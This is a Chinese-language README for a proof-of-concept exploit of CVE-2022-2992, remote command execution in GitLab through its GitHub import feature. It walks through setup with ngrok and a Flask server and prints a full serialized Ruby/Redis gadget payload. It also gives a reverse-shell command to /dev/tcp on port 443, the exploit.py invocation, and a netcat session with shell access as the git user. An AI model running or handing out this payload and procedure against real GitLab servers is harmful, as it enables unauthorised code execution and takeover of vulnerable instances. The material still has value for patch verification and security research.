CVE-2022-2992

通过GitHub导入在Gitlab中进行经过身份验证的远程命令执行。

一个影响GitLab CE/EE的漏洞，影响版本从11.10到15.1.6之前，所有从15.2开始到15.2.4之前的版本，以及所有从15.3开始到15.3.2之前的版本。该漏洞允许经过身份验证的用户通过"从GitHub API导入"端点实现远程代码执行。

https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#remote-command-execution-via-github-import

前置条件

Ngrok
Ruby
Redis
Python3
Flask

sudo apt install ruby python3 python3-pip
gem install redis 
pip install flask

步骤

运行 ./ngrok http 5000 并保存URL。
现在运行 payload_gen.rb 生成序列化的payload并保存。示例如下：

ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'

在 server.py 中相应更新 NGROK_URL 和 PAYLOAD 变量。示例如下：

PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'

在gitlab上为用户创建访问令牌，并选择所有权限。请阅读文档。
最后运行我们的 exploit.py。

注意：运行前请确保ngrok和flask服务器正在运行。

python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example

我们在443端口获得一个shell

➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)

每个窗口的预期输出：

Ngrok

POST /vakzz/public.git/git-upload-pack 200 OK
GET  /vakzz/public.git/info/refs       200 OK
GET  /api/v3/repos/fake/name           200 OK
GET  /api/v3/repositories/12345        200 OK
GET  /api/v3/rate_limit                200 OK
GET  /api/v3/rate_limit                200 OK

Exploit

[1] Creating Group
[+] Successfully created group: qogjohpykk
[2] Running flask server
[3] Importing Github Repo
 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] Triggering Payload
[+] Command was executed

环境

在 Gitlab 15.3.1 企业版上测试
若要搭建自己的测试环境，请将 data 目录复制到 Linux VM 的 / 下。
运行 build.sh 来设置环境。

CVE-2022-2992

最受欢迎

CVE-2022-2992

前置条件

步骤

每个窗口的预期输出：

环境

致谢